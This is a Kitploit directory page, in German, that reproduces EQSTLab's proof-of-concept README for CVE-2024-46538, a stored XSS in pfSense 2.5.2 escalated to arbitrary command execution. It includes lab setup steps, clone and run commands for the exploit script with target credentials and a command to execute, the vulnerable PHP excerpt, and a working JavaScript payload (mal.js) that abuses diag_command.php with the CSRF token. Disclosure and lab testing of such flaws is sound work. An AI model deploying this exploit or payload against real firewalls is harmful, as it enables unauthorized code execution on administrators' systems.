Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-46538 — PfSense Stored XSS führt zu Arbitrary Code Execution exploit | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2024-46538
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubeqstlab/cve-2024-46538

CVE-2024-46538

PfSense Stored XSS führt zu Arbitrary Code Execution exploit

Repository anzeigen
518vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Dieser Beitrag ist ein Forschungsartikel, veröffentlicht von EQSTLab.

Dank an physicszq, der diese Schwachstelle entdeckt hat.

CVE-2024-46538

★ CVE-2024-46538 PfSense Stored XSS führt zu beliebiger Codeausführung PoC ★

https://github.com/user-attachments/assets/f41d0945-b7f4-4f88-bac5-265904256aae

Beschreibung

CVE-2024-46538 : PfSense Stored XSS Schwachstelle

Beschreibung: Eine Cross-Site-Scripting (XSS) Schwachstelle in pfsense v2.5.2 ermöglicht es Angreifern, beliebige Web-Skripte oder HTML auszuführen, indem ein manipulierter Payload in die Variable $pconfig in interfaces_groups_edit.php injiziert wird.

Laboraufbau

Herunterladen der verwundbaren Version (v2.5.2):

Virtuelle Maschine einrichten

Läuft auf der Oracle Virtual Box

1. Virtuelle Maschine erstellen alt text

2. Adapter 1,2 wie folgt einrichten: alt text alt text

3. Boot-Reihenfolge wie folgt einstellen: alt text

4. Den Anweisungen folgen: alt text alt text alt text alt text alt text alt text alt text

Verwendung

Git clone

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-46538.git
cd CVE-2024-46538

Pakete installieren

root@kitploit:~
pip install -r requirements.txt

Befehl

root@kitploit:~
# Bösartiges JavaScript-Payload speichern (Kein benutzerdefinierter JS-Server)
python3 CVE-2024-46538.py -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>
# Bösartiges JavaScript-Payload speichern (Benutzerdefinierten JS-Server verwenden)
python3 CVE-2024-46538.py -j <CUSTOM_JAVASCRIPT_SERVER> -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>

Ausgabe

CVE-2024-46538.py alt text

Analyse

/src/usr/local/www/interfaces_groups_edit.php

root@kitploit:~
if (isset($_POST['members'])) {
		$members = implode(" ", $_POST['members']);
	} else {
		$members = "";
	}
...
		// Neue Gruppe erstellen
		} else {
			$ifgroupentry['ifname'] = $_POST['ifname'];
			$a_ifgroups[] = $ifgroupentry;
		}

		write_config("Interface Group added");
		interface_group_setup($ifgroupentry);

		header("Location: interfaces_groups.php");
		exit;
	} else {
		$pconfig['descr'] = $_POST['descr'];
		$pconfig['members'] = $members;
	}
}

Fehlende Filterung in der Variable $pconfig in interfaces_groups_edit.php führt zu einer Cross-Site-Scripting (XSS) Schwachstelle. Die Cross-Site-Scripting (XSS) Schwachstelle ermöglicht es Angreifern, den Endpunkt diag_command.php zu nutzen, um beliebige Befehle gegenüber einem Administrator auszuführen. Zum Beispiel kann folgendes JavaScript zu beliebiger Codeausführung führen.

mal.js

root@kitploit:~
var formData = new FormData();formData.append("__csrf_magic", csrfMagicToken);formData.append("txtCommand", "id");formData.append("txtRecallBuffer", "id");formData.append("submit", "EXEC");formData.append("dlPath", "");formData.append("ulfile", new Blob(), "");formData.append("txtPHPCommand", "");fetch("https://192.168.102.61/diag_command.php", {method: "POST",body: formData}).then(response => response.text()).then(data => {const parser = new DOMParser();const doc = parser.parseFromString(data, "text/html");const contentDiv = doc.querySelector("div.content");if (contentDiv) {alert(contentDiv.textContent);} else {alert("No content found");}})

Szenario

Benutzer (mit Berechtigung: WebCfg - Interfaces: Groups: Edit) --(Speichert bösartigen JavaScript-Code)--> Administrator (mit Berechtigung zur Codeausführung) --(Liest interfaces_groups.php)--> JavaScript-Code wird ausgeführt --> Codeausführung

Haftungsausschluss

Dieses Repository ist nicht als XSS-Exploit für CVE-2024-46538 gedacht. Der Zweck dieses Projekts ist es, Menschen zu helfen, diese Schwachstelle zu verstehen und möglicherweise ihre eigenen Anwendungen zu testen.

Referenzen

https://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md

https://skshieldus.com/eng/business/insight.do#

Tool herunterladen